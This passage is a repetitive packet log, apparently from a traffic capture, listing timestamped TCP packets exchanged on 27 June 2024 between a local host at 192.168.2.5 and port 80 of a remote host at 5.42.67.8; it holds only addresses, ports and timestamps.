Jun 27, 2024 06:44:19.333744049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333758116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333771944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333781958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333786011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333805084 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333806038 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333821058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333834887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333838940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333848953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333858013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333863020 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333877087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.333892107 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333925962 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.333986044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334000111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334013939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334023952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.334028006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334042072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334055901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.334055901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334069967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334086895 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334093094 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.334111929 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.334147930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.334245920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334259987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334275007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334283113 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.334289074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334301949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334302902 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.334316015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.334326982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.334362984 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.400301933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.400319099 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.400340080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.400353909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.400361061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.400368929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.400403976 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.400432110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.400438070 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.400446892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.400460005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.400473118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.400492907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418422937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418447971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418462992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418476105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418479919 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418490887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418504953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418509960 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418555021 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418586016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418608904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418622017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418628931 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418636084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418651104 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418663979 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418667078 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418678999 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418711901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418732882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418885946 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418900967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418915987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418929100 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418931007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418942928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418956995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418967962 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.418971062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418983936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.418998003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419001102 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419011116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419023991 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419024944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419076920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419079065 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419090033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419104099 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419116974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419118881 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419150114 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419183969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419276953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419291973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419305086 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419317007 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419318914 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419331074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419344902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419353008 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419358969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419373035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419385910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419393063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419414043 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419440985 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419450998 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419464111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419476986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419491053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419517994 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419622898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419636965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419651031 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419665098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419665098 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419680119 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419692993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419707060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419713020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419719934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419734955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419755936 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419775963 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419944048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419958115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419974089 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.419986963 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.419986963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420001030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420015097 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420028925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420028925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420042992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420059919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420068026 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420073032 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420087099 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420089006 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420100927 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420115948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420129061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420172930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420185089 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420200109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420228958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420259953 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420337915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420351982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420366049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420381069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420387030 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420399904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420404911 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420413971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420427084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420439959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420440912 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420454025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420466900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420469046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420489073 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420500040 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420502901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420511007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420516968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420531034 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420545101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420551062 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420564890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420579910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420594931 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420619011 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420753956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420768023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420789957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420798063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420834064 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420911074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420933008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420947075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420953989 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420962095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420974016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.420986891 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.420988083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421001911 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421015978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421025038 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.421030998 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421044111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421046972 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.421057940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421072006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421087027 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421087027 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.421102047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421117067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421149015 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.421168089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.421303988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421328068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421343088 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421350002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.421356916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421371937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421384096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421386003 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.421397924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.421433926 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.421452999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.487293005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.487310886 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.487325907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.487386942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.487396002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.487401962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.487416029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.487446070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.487452030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.487474918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.487505913 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505306005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505321980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505335093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505384922 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505386114 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505398989 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505413055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505428076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505443096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505465031 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505485058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505496979 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505603075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505618095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505631924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505645037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505650043 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505659103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505673885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505686998 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505688906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505702019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505737066 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505745888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505759001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505772114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505789995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505789995 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505824089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505922079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505937099 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505949974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505961895 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505964994 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.505975008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.505989075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506001949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506007910 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506016970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506031036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506045103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506048918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506117105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506120920 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506129980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506144047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506148100 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506156921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506156921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506172895 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506196022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506253004 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506294012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506308079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506320953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506335020 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506335974 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506349087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506364107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506388903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506393909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506393909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506402016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506416082 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506421089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506431103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506443977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506449938 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506494045 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506603956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506623983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506639004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506649017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506652117 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506666899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506680965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506684065 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506695986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506710052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506722927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506747007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506810904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506824017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506838083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506850958 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506851912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506866932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506880045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506886005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506901026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506918907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506930113 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506948948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506963015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506972075 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.506977081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506990910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.506997108 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507004023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507029057 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507077932 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507143974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507157087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507173061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507194996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507209063 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:19.507209063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:19.507220984 CEST	49719	80	192.168.2.5	5.42.67.8
